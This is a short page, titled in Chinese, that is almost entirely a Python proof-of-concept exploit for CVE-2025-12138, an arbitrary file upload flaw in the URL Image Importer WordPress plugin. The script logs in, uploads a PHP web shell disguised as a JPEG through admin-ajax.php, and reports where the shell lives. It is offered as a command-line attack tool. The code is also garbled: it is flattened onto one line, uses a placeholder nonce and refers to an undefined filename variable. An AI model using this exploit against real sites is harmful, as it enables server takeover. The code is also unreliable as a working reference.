CVE-2025-12138 WordPress URL Image Importer插件任意文件上传漏洞

import requests import sys # CVE-2025-12138 PoC - Arbitrary File Upload in URL Image Importer WordPress Plugin # Target: WordPress site with URL Image Importer plugin <= 1.0.6 def upload_shell(target_url, username, password, shell_content): """ Upload arbitrary file via the vulnerable endpoint """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Get nonce for the import action admin_url = f"{target_url}/wp-admin/admin.php?page=uimptr_settings" resp = session.get(admin_url) # Extract nonce (simplified - in real attack would need proper extraction) nonce = "extracted_nonce_value" # Upload malicious file with forged Content-Type upload_url = f"{target_url}/wp-admin/admin-ajax.php" files = { 'uimptr_import_file': ('shell.php', shell_content, 'image/jpeg') # Forged type } data = { 'action': 'uimptr_import_image_from_url', 'nonce': nonce } response = session.post(upload_url, files=files, data=data) if response.status_code == 200: # Extract uploaded file path from response print(f"[+] File uploaded successfully") print(f"[+] Shell location: {target_url}/wp-content/uploads/{uploaded_filename}") else: print(f"[-] Upload failed") if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <shell_file>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] with open(sys.argv[4], 'r') as f: shell = f.read() upload_shell(target, user, pwd, shell)